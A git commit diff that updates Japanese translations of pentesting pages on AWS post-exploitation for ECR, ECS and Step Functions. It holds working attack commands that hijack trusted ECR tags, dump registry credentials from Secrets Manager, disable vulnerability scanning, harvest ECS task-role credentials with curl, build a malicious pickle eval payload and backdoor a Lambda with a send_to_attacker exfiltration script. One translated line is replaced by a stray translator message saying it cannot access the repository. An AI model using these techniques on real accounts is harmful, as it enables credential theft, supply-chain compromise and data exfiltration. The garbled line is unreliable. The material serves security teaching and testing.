Translated ['', 'src/pentesting-cloud/aws-security/aws-post-exploitation

2026-03-12 21:22:57 -07:00 · 2026-02-16 10:26:18 +00:00
parent 9b2b560202
commit ae4c584b85
5 changed files with 359 additions and 171 deletions
--- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ecr-post-exploitation/README.md
+++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ecr-post-exploitation/README.md
@@ -4,7 +4,7 @@

 ## ECR

-詳細については次を参照してください
+詳細は以下を参照してください

 {{#ref}}
 ../../aws-services/aws-ecr-enum.md
@@ -47,15 +47,73 @@ aws ecr get-download-url-for-layer \
 --registry-id 653711331788 \
 --layer-digest "sha256:edfaad38ac10904ee76c81e343abf88f22e6cfc7413ab5a8e4aeffc6a7d9087a"
 ```
-イメージをダウンロードしたら、**機密情報が含まれていないか確認してください**:
+イメージをダウンロードした後は、**機密情報が含まれていないか確認してください**：

 {{#ref}}
 https://book.hacktricks.wiki/en/generic-methodologies-and-resources/basic-forensic-methodology/docker-forensics.html
 {{#endref}}

+### `ecr:PutImage` を使って信頼されたタグを上書きする（Tag Hijacking / Supply Chain）
+
+利用者がタグ（例えば `stable`, `prod`, `latest`）でデプロイし、タグが変更可能な場合、`ecr:PutImage` を使ってそのタグにイメージのマニフェストをアップロードし、**信頼されたタグの指し先を攻撃者管理のコンテンツに変更する**ことができます。
+
+一般的な手法の1つは、既に攻撃者が管理するタグ（またはダイジェスト）のマニフェストをコピーして、それで信頼されたタグを上書きすることです。
+```bash
+REGION=us-east-1
+REPO="<repo_name>"
+SRC_TAG="backdoor"   # attacker-controlled tag already present in the repository
+DST_TAG="stable"     # trusted tag used by downstream systems
+
+# 1) Fetch the manifest behind the attacker tag
+MANIFEST="$(aws ecr batch-get-image \
+--region "$REGION" \
+--repository-name "$REPO" \
+--image-ids imageTag="$SRC_TAG" \
+--query 'images[0].imageManifest' \
+--output text)"
+
+# 2) Overwrite the trusted tag with that manifest
+aws ecr put-image \
+--region "$REGION" \
+--repository-name "$REPO" \
+--image-tag "$DST_TAG" \
+--image-manifest "$MANIFEST"
+
+# 3) Verify both tags now point to the same digest
+aws ecr describe-images --region "$REGION" --repository-name "$REPO" --image-ids imageTag="$DST_TAG" --query 'imageDetails[0].imageDigest' --output text
+aws ecr describe-images --region "$REGION" --repository-name "$REPO" --image-ids imageTag="$SRC_TAG" --query 'imageDetails[0].imageDigest' --output text
+```
+**Impact**: `.../$REPO:$DST_TAG` をプルする任意のワークロードは、IaC、Kubernetes マニフェスト、またはタスク定義を一切変更することなく攻撃者が選択したコンテンツを受け取ります。
+
+#### Downstream Consumer Example: タグ更新で自動更新される Lambda コンテナイメージの例
+
+Lambda 関数が **コンテナイメージ** (`PackageType=Image`) としてデプロイされ、digest の代わりに **ECR tag**（例: `:stable`, `:prod`）を使用している場合、タグを書き換えることで関数が更新されたときに、サプライチェーンの改ざんが **Lambda 実行ロール内でのコード実行** に変わる可能性があります。
+
+この状況を列挙する方法：
+```bash
+REGION=us-east-1
+
+# 1) Find image-based Lambda functions and their ImageUri
+aws lambda list-functions --region "$REGION" \
+--query "Functions[?PackageType=='Image'].[FunctionName]" --output text |
+tr '\t' '\n' | while read -r fn; do
+img="$(aws lambda get-function --region "$REGION" --function-name "$fn" --query 'Code.ImageUri' --output text 2>/dev/null || true)"
+[ -n "$img" ] && printf '%s\t%s\n' "$fn" "$img"
+done
+
+# 2) Check whether a function references a mutable tag (contains ":<tag>")
+# Prefer digest pinning (contains "@sha256:") in well-hardened deployments.
+```
+How refresh often happens:
+
+- CI/CD や GitOps が定期的に `lambda:UpdateFunctionCode` を呼び出して（同じ `ImageUri` であっても）Lambda にタグを再解決させる。
+- イベント駆動の自動化が ECR イメージイベント（push／タグ更新）を監視し、リフレッシュ用の Lambda／自動化を起動する。
+
+もし trusted tag を上書きでき、かつリフレッシュ機構が存在するなら、次回の関数呼び出しで攻撃者制御のコードが実行され、環境変数の読み取り、ネットワークリソースへのアクセス、および Lambda ロールを使った AWS API の呼び出し（例えば `secretsmanager:GetSecretValue`）が可能になる。
+
 ### `ecr:PutLifecyclePolicy` | `ecr:DeleteRepository` | `ecr-public:DeleteRepository` | `ecr:BatchDeleteImage` | `ecr-public:BatchDeleteImage`

-これらのいずれかの権限を持つ攻撃者は、**lifecycle policy を作成または変更してリポジトリ内のすべてのイメージを削除**し、その後 **ECR リポジトリ全体を削除**できます。これにより、リポジトリに保存されているすべてのコンテナイメージが失われます。
+これらの権限のいずれかを持つ攻撃者は、**lifecycle policy を作成または変更してリポジトリ内のすべてのイメージを削除**し、その後 **ECR リポジトリ全体を削除**することができる。これにより、リポジトリに保存されているすべてのコンテナイメージが失われる。
 ```bash
 # Create a JSON file with the malicious lifecycle policy
 echo '{
@@ -90,21 +148,21 @@ aws ecr batch-delete-image --repository-name your-ecr-repo-name --image-ids imag
 # Delete multiple images from the ECR public repository
 aws ecr-public batch-delete-image --repository-name your-ecr-repo-name --image-ids imageTag=latest imageTag=v1.0.0
 ```
-### Exfiltrate upstream registry credentials from ECR Pull‑Through Cache (PTC)
+### ECR Pull‑Through Cache (PTC) から上流レジストリの認証情報を抽出する

-If ECR Pull‑Through Cache is configured for authenticated upstream registries (Docker Hub, GHCR, ACR, etc.), the upstream credentials are stored in AWS Secrets Manager with a predictable name prefix: `ecr-pullthroughcache/`. Operators sometimes grant ECR admins broad Secrets Manager read access, enabling credential exfiltration and reuse outside AWS.
+ECR Pull‑Through Cache が認証済みの上流レジストリ（Docker Hub、GHCR、ACR など）に対して設定されている場合、上流の認証情報は AWS Secrets Manager に予測可能な名前プレフィックス: `ecr-pullthroughcache/` で保存されます。オペレーターが ECR 管理者に Secrets Manager の広範な読み取りアクセスを付与することがあり、これにより認証情報を外部へ持ち出して AWS 外で再利用できるようになります。

 要件
 - secretsmanager:ListSecrets
 - secretsmanager:GetSecretValue

-候補となる PTC secrets を列挙する
+候補となる PTC シークレットを列挙する
 ```bash
 aws secretsmanager list-secrets \
 --query "SecretList[?starts_with(Name, 'ecr-pullthroughcache/')].Name" \
 --output text
 ```
-発見した secrets をダンプして共通フィールドを解析する
+発見された secrets を Dump し、common fields を parse する
 ```bash
 for s in $(aws secretsmanager list-secrets \
 --query "SecretList[?starts_with(Name, 'ecr-pullthroughcache/')].ARN" --output text); do
@@ -114,17 +172,17 @@ jq -r '.username? // .user? // empty' /tmp/ptc_secret.json || true
 jq -r '.password? // .token? // empty' /tmp/ptc_secret.json || true
 done
 ```
-任意: leaked creds を upstream に対して検証する (read‑only login)
+任意: upstream（読み取り専用ログイン）に対して leaked creds を検証する
 ```bash
 echo "$DOCKERHUB_PASSWORD" | docker login --username "$DOCKERHUB_USERNAME" --password-stdin registry-1.docker.io
 ```
 影響
- Secrets Manager のこれらのエントリを読むことで、再利用可能な upstream registry credentials (username/password or token) を取得できます。これらは AWS 外部で悪用され、upstream の権限に応じてプライベートイメージの pull や追加のリポジトリへのアクセスに使用される可能性があります。
+- これらの Secrets Manager エントリを読み取ると、再利用可能な上流レジストリの資格情報（username/password または token）を取得できます。これらは上流の権限に応じて、AWS の外部で private images を pull したり、追加のリポジトリへアクセスするために悪用可能です。


 ### Registry-level stealth: disable or downgrade scanning via `ecr:PutRegistryScanningConfiguration`

-registry-level ECR 権限を持つ攻撃者は、registry scanning configuration を BASIC に設定し、scan-on-push ルールを設定しないことで、すべてのリポジトリに対する自動脆弱性スキャンを静かに低下させるか無効化できます。これにより新しいイメージのプッシュが自動的にスキャンされなくなり、脆弱なまたは悪意あるイメージが隠されます。
+registry-level ECR の権限を持つ攻撃者は、registry scanning configuration を scan-on-push ルールなしで BASIC に設定することで、すべてのリポジトリに対する自動脆弱性スキャンを密かに減らしたり無効化したりできます。これにより、新しい image pushes が自動でスキャンされなくなり、脆弱または悪意のあるイメージが隠されます。

 要件
 - ecr:PutRegistryScanningConfiguration
@@ -132,7 +190,7 @@ registry-level ECR 権限を持つ攻撃者は、registry scanning configuration
 - ecr:PutImageScanningConfiguration (オプション、リポジトリ単位)
 - ecr:DescribeImages, ecr:DescribeImageScanFindings (検証)

-レジストリ全体を手動（自動スキャンなし）にダウングレード
+レジストリ全体を手動にダウングレード（自動スキャンなし）
 ```bash
 REGION=us-east-1
 # Read current config (save to restore later)
@@ -159,7 +217,7 @@ aws ecr describe-images --region "$REGION" --repository-name "$repo" --image-ids
 # Optional: will error with ScanNotFoundException if no scan exists
 aws ecr describe-image-scan-findings --region "$REGION" --repository-name "$repo" --image-id imageTag=test || true
 ```
-オプション: repo scopeでさらに権限を低下させる
+I don't have access to your repository. Please paste the contents of src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ecr-post-exploitation/README.md here (or the parts you want translated), and I'll translate the English text to Japanese while preserving all markdown, tags, links, paths, and code.
 ```bash
 # Disable scan-on-push for a specific repository
 aws ecr put-image-scanning-configuration \
@@ -168,19 +226,19 @@ aws ecr put-image-scanning-configuration \
 --image-scanning-configuration scanOnPush=false
 ```
 影響
- レジストリ全体への新しいイメージのプッシュは自動でスキャンされず、脆弱または悪意のあるコンテンツの可視性が低下し、手動スキャンが実行されるまで検出が遅延します。
+- レジストリ全体への新しいイメージのプッシュは自動でスキャンされず、脆弱または悪意あるコンテンツの可視性が低下し、手動スキャンが実行されるまで検出が遅延します。


-### レジストリ全体のスキャンエンジンを `ecr:PutAccountSetting` によってダウングレードする (AWS_NATIVE -> CLAIR)
+### レジストリ全体のスキャンエンジンを `ecr:PutAccountSetting` でダウングレード (AWS_NATIVE -> CLAIR)

-既定の AWS_NATIVE からレガシーの CLAIR エンジンに BASIC スキャンエンジンを切り替えることで、レジストリ全体の脆弱性検出の品質を低下させます。これはスキャンを無効化するわけではありませんが、検出結果やカバレッジに重大な違いをもたらす可能性があります。ルールを持たない BASIC のレジストリスキャン設定と組み合わせると、スキャンを手動のみで行うようにできます。
+デフォルトの AWS_NATIVE からレガシーの CLAIR エンジンに BASIC スキャンエンジンを切り替えることで、レジストリ全体の脆弱性検出の品質を低下させます。これによりスキャンが無効化されるわけではありませんが、検出結果やカバレッジが大きく変わる可能性があります。ルールを設定していない BASIC のレジストリスキャン設定と組み合わせると、スキャンを手動のみの状態にできます。

 要件
 - `ecr:PutAccountSetting`, `ecr:GetAccountSetting`
- （オプション） `ecr:PutRegistryScanningConfiguration`, `ecr:GetRegistryScanningConfiguration`
+- (オプション) `ecr:PutRegistryScanningConfiguration`, `ecr:GetRegistryScanningConfiguration`

 影響
- レジストリ設定 `BASIC_SCAN_TYPE_VERSION` が `CLAIR` に設定され、その後の BASIC スキャンはダウングレードされたエンジンで実行されます。CloudTrail は `PutAccountSetting` API 呼び出しを記録します。
+- レジストリ設定 `BASIC_SCAN_TYPE_VERSION` が `CLAIR` に設定されるため、その後の BASIC スキャンはダウングレードされたエンジンで実行されます。CloudTrail は `PutAccountSetting` API コールを記録します。

 手順
 ```bash
--- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ecs-post-exploitation/README.md
+++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ecs-post-exploitation/README.md
@@ -4,16 +4,16 @@

 ## ECS

-詳細は次を参照してください：
+For more information check:

 {{#ref}}
 ../../aws-services/aws-ecs-enum.md
 {{#endref}}

-### ホスト IAM ロール
+### Host IAM Roles

-In ECS、コンテナ内で実行されるタスクに **IAM ロールを割り当てることができます**。**If** タスクが **EC2** インスタンス内で実行されている場合、**EC2 instance** には **別の IAM** ロールがアタッチされます。\
-つまり、ECS インスタンスを **侵害** できれば、ECR や EC2 インスタンスに関連付けられた **IAM ロールを取得できる可能性がある** ということです。これらの認証情報の取得方法については次を参照してください：
+ECSでは、コンテナ内で実行されているタスクに **IAM role を割り当てることができる**。**If** そのタスクが **EC2** インスタンス上で実行されている場合、**EC2 instance** には **別の IAM** ロールがアタッチされている。\
+つまり、ECSインスタンスを **compromise** できれば、ECRおよびEC2インスタンスに関連付けられた **IAM role を取得できる可能性がある**。認証情報の取得方法の詳細は次を参照：

 {{#ref}}
 https://book.hacktricks.wiki/en/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf.html
@@ -24,21 +24,21 @@ https://book.hacktricks.wiki/en/pentesting-web/ssrf-server-side-request-forgery/

 ### Privesc to node to steal other containers creds & secrets

-さらに、EC2 は docker を使って ECS タスクを実行しているため、ノードにエスケープするか **docker socket にアクセス**できれば、どの **他のコンテナ** が実行されているかを **確認** し、実際に **それらに侵入して** アタッチされた **IAM ロールを盗む** ことさえ可能です。
+さらに、EC2は docker を使って ECS タスクを実行しているため、node に脱出するか **docker socket にアクセス** できれば、どの **other containers** が実行されているかを **確認** したり、実際に **その中に入り込んで** アタッチされている **IAM roles を盗む** こともできる。

-#### 現在のホストでコンテナを実行させる
+#### Making containers run in current host

-さらに、**EC2 instance role** は通常、クラスタ内のノードとして使用されている EC2 インスタンスの **container instance state を更新する権限** を持っていることが多いです。攻撃者はインスタンスの **state を DRAINING に変更** でき、その場合 ECS はそのインスタンスから **全てのタスクを削除** し、**REPLICA** として実行されているタスクは別のインスタンスで **実行される** ことになります。場合によっては攻撃者のインスタンス内で実行され、コンテナ内の IAM ロールや機密情報を **盗む** ことができます。
+さらに、**EC2 instance role** は通常クラスター内のノードとして使われている EC2 インスタンスの **container instance state を更新する**のに十分な **permissions** を持っている。攻撃者はインスタンスの **state を DRAINING に変更** でき、すると ECS はそのインスタンスから **すべてのタスクを削除し**、REPLICA として実行されているものは **別のインスタンスで実行される**（場合によっては攻撃者のインスタンス内で実行され）、それにより攻撃者は **それらの IAM roles を盗み**、コンテナ内の機密情報を入手できる可能性がある。
 ```bash
 aws ecs update-container-instances-state \
 --cluster <cluster> --status DRAINING --container-instances <container-instance-id>
 ```
-同じ手法は **deregistering the EC2 instance from the cluster** でも行えます。これは潜伏性が低くなる可能性がありますが、タスクを他のインスタンスで実行するよう**強制します:**
+同じ手法は **deregistering the EC2 instance from the cluster** によって行えます。これは潜在的にステルス性が低くなりますが、**force the tasks to be run in other instances:**
 ```bash
 aws ecs deregister-container-instance \
 --cluster <cluster> --container-instance <container-instance-id> --force
 ```
-タスクの再実行を強制する最後の手法は、ECS に対して **task or container was stopped** と示すことです。これを行うための 3 つの API が存在します:
+tasksの再実行を強制する最後の手法は、ECS に対して **task or container was stopped** と示すことです。これを行う可能性のある API が3つあります:
 ```bash
 # Needs: ecs:SubmitTaskStateChange
 aws ecs submit-task-state-change --cluster <value> \
@@ -50,37 +50,49 @@ aws ecs submit-container-state-change ...
 # Needs: ecs:SubmitAttachmentStateChanges
 aws ecs submit-attachment-state-changes ...
 ```
+#### 攻撃者ホストでクラスターに参加する (Register Container Instance)
+
+別のバリエーション（drainingより直接的）は、あなたが管理するキャパシティをクラスターに追加し、EC2インスタンスをcontainer instanceとして登録して (`ecs:RegisterContainerInstance`)、配置制約が一致するように必要なcontainer instance属性を設定することです。タスクがあなたのホストに配置されると、コンテナを検査/execして `AWS_CONTAINER_CREDENTIALS_RELATIVE_URI` の資格情報を収集できます。
+
+フルワークフローについては、ECS privesc ページの `ecs:RegisterContainerInstance` セクションを参照してください。
+
 ### ECRコンテナから機密情報を盗む

-EC2 インスタンスはおそらく `ecr:GetAuthorizationToken` 権限も持っており、**イメージをダウンロード**できる（その中から機密情報を検索できる）。
+EC2インスタンスは多くの場合、`ecr:GetAuthorizationToken` の権限も持っており、イメージをダウンロードできます（その中を検索して機密情報を探せます）。

+### `ecs:ExecuteCommand` を介してタスクロールの資格情報を盗む

+タスクで `ExecuteCommand` が有効になっている場合、`ecs:ExecuteCommand` と `ecs:DescribeTasks` を持つプリンシパルは実行中のコンテナ内でシェルを開き、**タスク資格情報エンドポイント**に問い合わせて**タスクロール**の資格情報を収集できます：

+- コンテナ内部から: `curl -s "http://169.254.170.2$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI"`
+- 返された `AccessKeyId/SecretAccessKey/Token` を使用して、タスクロールとしてAWS APIを呼び出す

-### ECS タスク内に EBS スナップショットを直接マウントする (configuredAtLaunch + volumeConfigurations)
+列挙やコマンド例については、ECS privilege escalation ページを参照してください。

-ネイティブな ECS と EBS の統合（2024+）を悪用して、既存の EBS スナップショットの内容を新しい ECS タスク/サービス内に直接マウントし、コンテナ内からデータを読み取る。
+### ECSタスクにEBSスナップショットを直接マウントする (configuredAtLaunch + volumeConfigurations)

- Needs (minimum):
+ネイティブのECSとEBSの統合（2024以降）を悪用して、既存のEBSスナップショットの内容を新しいECSタスク/サービス内に直接マウントし、コンテナ内からデータを読み取ることができます。
+
+- 必要（最小）:
 - ecs:RegisterTaskDefinition
- One of: ecs:RunTask OR ecs:CreateService/ecs:UpdateService
- iam:PassRole on:
+- いずれか: ecs:RunTask OR ecs:CreateService/ecs:UpdateService
+- iam:PassRole の対象:
 - ボリュームに使用されるECSインフラストラクチャロール（ポリシー: `service-role/AmazonECSInfrastructureRolePolicyForVolumes`）
- タスク定義で参照されている Task execution/Task roles
- スナップショットが CMK で暗号化されている場合: infra role に対する KMS 権限（上記の AWS 管理ポリシーには AWS 管理キー用の必要な KMS 権限が含まれます）。
+- タスク定義で参照されるTask execution/Task roles
+- スナップショットがCMKで暗号化されている場合: インフラロールに対するKMS権限（上記のAWSマネージドポリシーにはAWS管理キーに対する必要なKMS付与が含まれています）。

- Impact: コンテナ内でスナップショットから任意のディスク内容（例: データベースファイル）を読み取り、ネットワーク／ログ経由で持ち出すことができる。
+- 影響: スナップショットから任意のディスク内容（例: データベースファイル）をコンテナ内で読み取り、ネットワークやログ経由で持ち出せる。

-Steps (Fargate example):
+手順（Fargateの例）:

-1) ECS インフラストラクチャロールを作成（存在しない場合）し、マネージドポリシーをアタッチする:
+1) ECSインフラストラクチャロールを作成（存在しない場合）し、マネージドポリシーをアタッチします:
 ```bash
 aws iam create-role --role-name ecsInfrastructureRole \
 --assume-role-policy-document '{"Version":"2012-10-17","Statement":[{"Effect":"Allow","Principal":{"Service":"ecs.amazonaws.com"},"Action":"sts:AssumeRole"}]}'
 aws iam attach-role-policy --role-name ecsInfrastructureRole \
 --policy-arn arn:aws:iam::aws:policy/service-role/AmazonECSInfrastructureRolePolicyForVolumes
 ```
-2) タスク定義を登録し、ボリュームを `configuredAtLaunch` とマークしてコンテナにマウントします。例（秘密を出力してからスリープ）:
+2) `configuredAtLaunch` とマークされたボリュームを持つ task definition を登録し、コンテナにマウントします。例（secret を出力してから sleep します）:
 ```json
 {
 "family": "ht-ebs-read",
@@ -100,7 +112,7 @@ aws iam attach-role-policy --role-name ecsInfrastructureRole \
 "volumes": [ {"name":"loot", "configuredAtLaunch": true} ]
 }
 ```
-3) `volumeConfigurations.managedEBSVolume` を介して EBS snapshot を渡してサービスを作成または更新します（infra role に iam:PassRole が必要）。例:
+3) `volumeConfigurations.managedEBSVolume` を介して EBS snapshot を渡してサービスを作成または更新する（インフラロールに対して iam:PassRole が必要）。例：
 ```json
 {
 "cluster": "ht-ecs-ebs",
@@ -114,7 +126,7 @@ aws iam attach-role-policy --role-name ecsInfrastructureRole \
 ]
 }
 ```
-4) タスクが開始すると、コンテナは構成されたマウントパス（例: `/loot`）でスナップショットの内容を読み取ることができます。 Exfiltrate via the task’s network/logs.
+タスクが開始されると、container は設定された mount path（例: `/loot`）で snapshot の内容を読み取ることができます。exfiltrate はタスクの network/logs を経由して行います。

 クリーンアップ:
 ```bash
--- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-stepfunctions-post-exploitation/README.md
+++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-stepfunctions-post-exploitation/README.md
@@ -4,7 +4,7 @@

 ## Step Functions

-この AWS サービスの詳細については、次を参照してください：
+For more information about this AWS service, check:

 {{#ref}}
 ../../aws-services/aws-stepfunctions-enum.md
@@ -12,19 +12,20 @@

 ### `states:RevealSecrets`

-この権限により、execution 内の機密データを表示できます。これを行うには、Inspection level を TRACE に設定し、revealSecrets パラメータを true にする必要があります。
+この権限により、**実行内のシークレットデータを表示する**ことができます。  
+そのためには、Inspection level を TRACE に設定し、revealSecrets パラメータを true にする必要があります。

 <figure><img src="../../../images/image (348).png" alt=""><figcaption></figcaption></figure>

 ### `states:DeleteStateMachine`, `states:DeleteStateMachineVersion`, `states:DeleteStateMachineAlias`

-これらの権限を持つ攻撃者は、state machines、その versions、および aliases を永久に削除することができます。これにより重要なワークフローが中断され、データ損失が発生し、影響を受けた state machines の復旧と復元に多大な時間がかかる可能性があります。さらに、攻撃者は使用された痕跡を隠蔽したり、フォレンジック調査を妨害したり、重要な自動化プロセスや状態構成を削除して運用を麻痺させる可能性があります。
+これらの権限を持つ攻撃者は、ステートマシン、そのバージョン、およびエイリアスを永久に削除できる可能性があります。これは重要なワークフローを妨げ、データ損失を引き起こし、影響を受けたステートマシンの復旧と復元に多大な時間を要することがあります。さらに、攻撃者は使用された痕跡を隠蔽したり、フォレンジック調査を妨害したり、重要な自動化プロセスや状態設定を削除して運用を麻痺させる可能性もあります。

 > [!NOTE]
 >
-> - state machine を削除すると、それに関連するすべての versions と aliases も削除されます。
-> - state machine alias を削除しても、その alias を参照している state machine versions は削除されません。
-> - 1つ以上の alias から現在参照されている state machine version を削除することはできません。
+> - ステートマシンを削除すると、その関連するすべてのバージョンとエイリアスも削除されます。
+> - ステートマシンのエイリアスを削除しても、そのエイリアスを参照しているステートマシンのバージョンは削除されません。
+> - 1つ以上のエイリアスから現在参照されているステートマシンのバージョンを削除することはできません。
 ```bash
 # Delete state machine
 aws stepfunctions delete-state-machine --state-machine-arn <value>
@@ -33,41 +34,83 @@ aws stepfunctions delete-state-machine-version --state-machine-version-arn <valu
 # Delete state machine alias
 aws stepfunctions delete-state-machine-alias --state-machine-alias-arn <value>
 ```
- **Potential Impact**: 重要なワークフローの中断、データ損失、および運用停止。
+- **Potential Impact**: 重要なワークフローの中断、データ損失、運用停止。

 ### `states:UpdateMapRun`

-この権限を持つ攻撃者は、Map Run の failure 設定や parallel 設定を操作でき、許可される子ワークフロー実行の最大数を増減させることで、サービスの動作やパフォーマンスに直接影響を与える可能性があります。さらに、攻撃者は許容される失敗の割合やカウントを改ざんしてこれを0に下げることができ、その結果、アイテムが1件でも失敗すると Map Run 全体が失敗し、ステートマシンの実行に直接影響を与え、重要なワークフローを中断する可能性があります。
+この権限を持つ攻撃者は、Map Run の失敗設定や並列設定を操作でき、許可される子ワークフロー実行の最大数を増減させてサービスのパフォーマンスに直接影響を与える可能性があります。さらに、許容される失敗割合や件数を改ざんしてこれを0に下げることで、アイテムが1件でも失敗した場合にマップラン全体が失敗するようにでき、ステートマシンの実行に直接影響を及ぼし、重要なワークフローを妨害する可能性があります。
 ```bash
 aws stepfunctions update-map-run --map-run-arn <value> [--max-concurrency <value>] [--tolerated-failure-percentage <value>] [--tolerated-failure-count <value>]
 ```
- **潜在的な影響**: パフォーマンスの低下、および重要なワークフローの中断。
+- **潜在的影響**: パフォーマンスの低下、および重要なワークフローの中断。

 ### `states:StopExecution`

-この権限を持つ攻撃者は任意のステートマシンの実行を停止できる可能性があり、進行中のワークフローやプロセスを中断します。これにより、トランザクションの未完了、業務の停止、そしてデータ破損の可能性が生じます。
+この権限を持つ攻撃者は、任意のステートマシンの実行を停止でき、進行中のワークフローやプロセスを妨害する可能性があります。これにより、トランザクションの未完了、業務の停止、データの破損が発生する恐れがあります。

 > [!WARNING]
 > このアクションは **express state machines** ではサポートされていません。
 ```bash
 aws stepfunctions stop-execution --execution-arn <value> [--error <value>] [--cause <value>]
 ```
- **潜在的影響**: 継続中のワークフローの中断、運用停止、及びデータ破損の可能性。
+- **想定される影響**: 実行中のワークフローの中断、業務のダウンタイム、およびデータの破損の可能性。

 ### `states:TagResource`, `states:UntagResource`

-攻撃者は Step Functions リソースの tags を追加・変更・削除でき、組織のコスト配分、リソース追跡、および tags に基づくアクセス制御ポリシーを混乱させる可能性があります。
+攻撃者は Step Functions リソースのタグを追加、変更、または削除することで、組織のコスト配分、リソース追跡、およびタグに基づくアクセス制御ポリシーを混乱させる可能性があります。
 ```bash
 aws stepfunctions tag-resource --resource-arn <value> --tags Key=<key>,Value=<value>
 aws stepfunctions untag-resource --resource-arn <value> --tag-keys <key>
 ```
-**潜在的影響**: コスト配分、リソース追跡、およびタグベースのアクセス制御ポリシーの混乱。
+**潜在的な影響**: コスト配分、リソース追跡、タグベースのアクセス制御ポリシーの混乱。

 ---

+### `states:StartExecution` -> Input Injection Into Dangerous Sinks
+
+`states:StartExecution` はデータプレーンのエントリーポイントです。ステートマシンが攻撃者制御の入力を危険なシンクを含むタスクに渡す場合（例えば `pickle.loads(base64.b64decode(payload_b64))` を実行する Lambda）、ステートマシンを更新する権限がなくても、実行の出力を介して **StartExecution** を **code execution** や **secret exfiltration** に変換できることがあります。
+
+#### Discover the workflow and the invoked Lambda
+
+もし `states:List*` / `states:Describe*` を持っていれば、ステートマシンの定義を列挙して読み取ることができます:
+```bash
+REGION=us-east-1
+SM_ARN="<state_machine_arn>"
+
+aws stepfunctions describe-state-machine --region "$REGION" --state-machine-arn "$SM_ARN" --query definition --output text
+```
+もし `lambda:GetFunction` の権限もある場合、Lambda のコードバンドルをダウンロードして、入力がどのように処理されるか（および unsafe deserialization が存在するかどうか）を確認できます：
+```bash
+LAMBDA_ARN="<lambda_arn_from_definition>"
+CODE_URL="$(aws lambda get-function --region "$REGION" --function-name "$LAMBDA_ARN" --query 'Code.Location' --output text)"
+curl -sSL "$CODE_URL" -o /tmp/lambda.zip
+unzip -o /tmp/lambda.zip -d /tmp/lambda_code >/dev/null
+ls -la /tmp/lambda_code
+```
+#### 例: 実行入力に含まれる crafted pickle (Python)
+
+もし Lambda が攻撃者が制御するデータを unpickle する場合、悪意のある pickle は deserialization 中にコードを実行できます。Lambda ランタイムで Python 式を評価する例の payload：
+```bash
+PAYLOAD_B64="$(python3 - <<'PY'
+import base64, pickle
+
+class P:
+def __reduce__(self):
+# Replace with a safe proof (e.g. "1+1") or a target-specific read.
+return (eval, ("__import__('os').popen('id').read()",))
+
+print(base64.b64encode(pickle.dumps(P())).decode())
+PY
+)"
+
+EXEC_ARN="$(aws stepfunctions start-execution --region "$REGION" --state-machine-arn "$SM_ARN" --input "{\"payload_b64\":\"$PAYLOAD_B64\"}" --query executionArn --output text)"
+aws stepfunctions describe-execution --region "$REGION" --execution-arn "$EXEC_ARN" --query output --output text
+```
+**影響**: task role が持つ権限（Secrets Manager reads, S3 writes, KMS decrypt, etc.）は、細工された入力によって到達可能になり、その結果が Step Functions execution output に返される可能性があります。
+
 ### `states:UpdateStateMachine`, `lambda:UpdateFunctionCode`

-次の権限を持つユーザーまたはロールを侵害した攻撃者:
+次の権限を持つユーザーまたはロールを侵害した攻撃者は:
 ```json
 {
 "Version": "2012-10-17",
@@ -87,23 +130,23 @@ aws stepfunctions untag-resource --resource-arn <value> --tag-keys <key>
 ]
 }
 ```
-...は、Lambda backdooringとStep Function logic manipulationを組み合わせることで、**高インパクトかつステルスな post-exploitation attack** を実行できます。
+...は、Lambda backdooring と Step Function logic manipulation を組み合わせることで、**high-impact and stealthy post-exploitation attack**を実行できます。

-このシナリオでは、被害者が**AWS Step Functions を使用して、資格情報、トークン、または PII のような機密入力を処理するワークフローをオーケストレーションする**と想定します。
+このシナリオは、被害者が **AWS Step Functions to orchestrate workflows that process sensitive input** を使用しており、credentials、tokens、またはPIIのような機密入力を処理するワークフローをオーケストレーションしていることを前提とします。

-Example victim invocation:
+被害者の呼び出し例:
 ```bash
 aws stepfunctions start-execution \
 --state-machine-arn arn:aws:states:us-east-1:<victim-account-id>:stateMachine:LegitStateMachine \
 --input '{"email": "victim@example.com", "password": "hunter2"}' --profile victim
 ```
-Step Functionが`LegitBusinessLogic`のようなLambdaを呼び出すように設定されている場合、攻撃者は**2つのステルス性の高い攻撃パターン**を実行できます:
+If the Step Function is configured to invoke a Lambda like `LegitBusinessLogic`, the attacker can proceed with **2つのステルス攻撃バリアント**:

 ---

-####  lambda 関数を更新
+####  Lambda 関数を更新

-攻撃者は、Step Functionで既に使用されているLambda関数（`LegitBusinessLogic`）のコードを改変し、入力データを静かにexfiltrateします。
+攻撃者は、Step Function で既に使用されている Lambda 関数（`LegitBusinessLogic`）のコードを変更し、入力データを密かに exfiltrate する。
 ```python
 # send_to_attacker.py
 import requests
@@ -124,7 +167,7 @@ aws lambda update-function-code \

 #### Step Function に悪意のあるステートを追加する

-あるいは、攻撃者は Step Function の定義を更新して、ワークフローの先頭に **exfiltration state** を挿入することができます。
+代わりに、攻撃者は Step Function の定義を更新して、ワークフローの先頭に **exfiltration state** を挿入できます。
 ```malicious_state_definition.json
 {
 "Comment": "Backdoored for Exfiltration",
@@ -145,7 +188,7 @@ aws stepfunctions update-state-machine \
 --state-machine-arn arn:aws:states:us-east-1:<victim-id>:stateMachine:LegitStateMachine \
 --definition file://malicious_state_definition.json --profile attacker
 ```
-攻撃者はさらにステルスに状態定義を次のように更新できる。
+攻撃者はさらにステルスにステート定義を次のように更新できる:
 {
 "Comment": "Backdoored for Exfiltration",
 "StartAt": "ExfiltrateSecrets",
@@ -164,22 +207,22 @@ aws stepfunctions update-state-machine \
 }
 }
 }
-被害者はその違いに気づかない。
+被害者はこの違いに気付かないだろう。

 ---

 ### 被害者のセットアップ（エクスプロイトのコンテキスト）

- Step Function (`LegitStateMachine`) は機密性の高いユーザー入力を処理するために使用される。
- `LegitBusinessLogic` のような1つ以上の Lambda 関数を呼び出す。
+- A Step Function (`LegitStateMachine`) は機密性の高いユーザー入力を処理するために使用されている。
+- これが `LegitBusinessLogic` のような1つまたは複数の Lambda functions を呼び出す。

 ---

 **潜在的な影響**:
- 機密データ（secrets、credentials、API keys、PII を含む）の silent exfiltration。
